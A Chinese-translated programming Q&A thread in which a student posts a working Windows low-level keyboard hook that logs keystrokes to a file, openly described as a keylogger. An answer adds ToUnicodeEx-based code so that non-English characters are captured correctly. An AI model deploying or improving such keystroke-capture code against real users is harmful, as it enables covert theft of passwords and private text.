【问题标题】:Windows Hook save language charactersWindows Hook 保存语言字符
【发布时间】:2019-10-23 20:51:33
【问题描述】:

嗯,我有一个简单的程序来保存按键。但它仅适用于英文键盘。它无法检测到任何其他键盘,例如我的斯洛伐克语。 单词“škola”被保存为“3kola”。因为“3”和“š”是键盘上的同一个按钮。

#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>


HHOOK _hook;
FILE *LOG;
KBDLLHOOKSTRUCT kbdStruct;
char xxx;
LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            if (kbdStruct.vkCode != 0);
            {
                switch (kbdStruct.vkCode)
                {
                case VK_ESCAPE:
                    fprintf(LOG, "[ESC]");
                    break;
                default:

                    fprintf(LOG, "%c", kbdStruct.vkCode);
                    break;
                }
                fflush(LOG);
            }
        }
    }
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

void SetHook()
{
    _hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0);
}

void main()
{
    LOG = fopen("log.txt", "a+" );
    SetHook();
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0))
    {
    }
    fclose(LOG);
}

我想要做的是保存当前本地语言的字符。 例如。我用斯洛伐克语“žiak”写了一个词,然后我将本地更改为英语,然后用英语写了一些东西,然后用捷克语写了一些东西。我怎样才能做到用户输入将始终使用本地语言字符保存。 (是的,它的键盘记录器,但这是在学校学习 C 的有趣方式,我们确实做了一些循环和写入文本文件,这是我所知道的一切:/)我发现了一些关于 wm_char 的东西可以解决我的问题,但我不知道如何使用它。

【问题讨论】:

  • 键盘挂钩监控键盘输入。字符是一个更高层次的概念。您不会从键盘挂钩中获取字符数据。
  • 有一篇文章here 可能对你有所帮助。

标签: c winapi keyboard multilingual


【解决方案1】:

如果您想保留低级键盘挂钩,而不是使用消息挂钩,您必须将挂钩函数中收到的键码和键盘状态转换为基于当前语言环境的 UTF8 字符串:

LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode >= 0)
    {
        if (wParam == WM_KEYDOWN)
        {
            kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
            if (kbdStruct.vkCode != 0)
            {
                switch (kbdStruct.vkCode)
                {
                case VK_ESCAPE:
                    fprintf(LOG, "[ESC]");
                    break;
                default:
                    unsigned char keyboardState[256];
                    for (int i = 0; i < 256; ++i)
                        keyboardState[i] = static_cast<unsigned char>(GetKeyState(i));

                    wchar_t wbuffer[3] = { 0 };

                    int result = ToUnicodeEx(
                        kbdStruct.vkCode, 
                        kbdStruct.scanCode, 
                        keyboardState, 
                        wbuffer, 
                        sizeof(wbuffer) / sizeof(wchar_t), 
                        0, 
                        GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow(), NULL)));
                    if (result > 0)
                    {
                        char buffer[5] = { 0 };
                        WideCharToMultiByte(CP_UTF8, 0, wbuffer, 1, buffer, sizeof(buffer) / sizeof(char), 0, 0);
                        fprintf(LOG, "%s", buffer);
                    }

                    break;
                }
                fflush(LOG);
            }
        }
    }
    return CallNextHookEx(_hook, nCode, wParam, lParam);
}

ToUnicodeEx 是执行翻译的函数。除了键码之外,它还需要键盘状态,因为修饰键可能会改变字符。

【讨论】:

  • 非常感谢您的努力,但我遇到了错误。 unsigned char 给了我错误“声明不能有标签”和static_cast“标识符 static_cast 未定义”。 &lt;unsigned char&gt; 给了我“预期的表达”。
  • 第一个错误已通过在 case 语句 {} 中添加括号来修复。
  • 您遇到编译器错误,因为这是 C++ 代码。
  • 你这是个问题,c++ 可能更适合这种用途,所以我应该把它改成 c++。谢谢:)
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2013-09-21
  • 2016-11-07
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多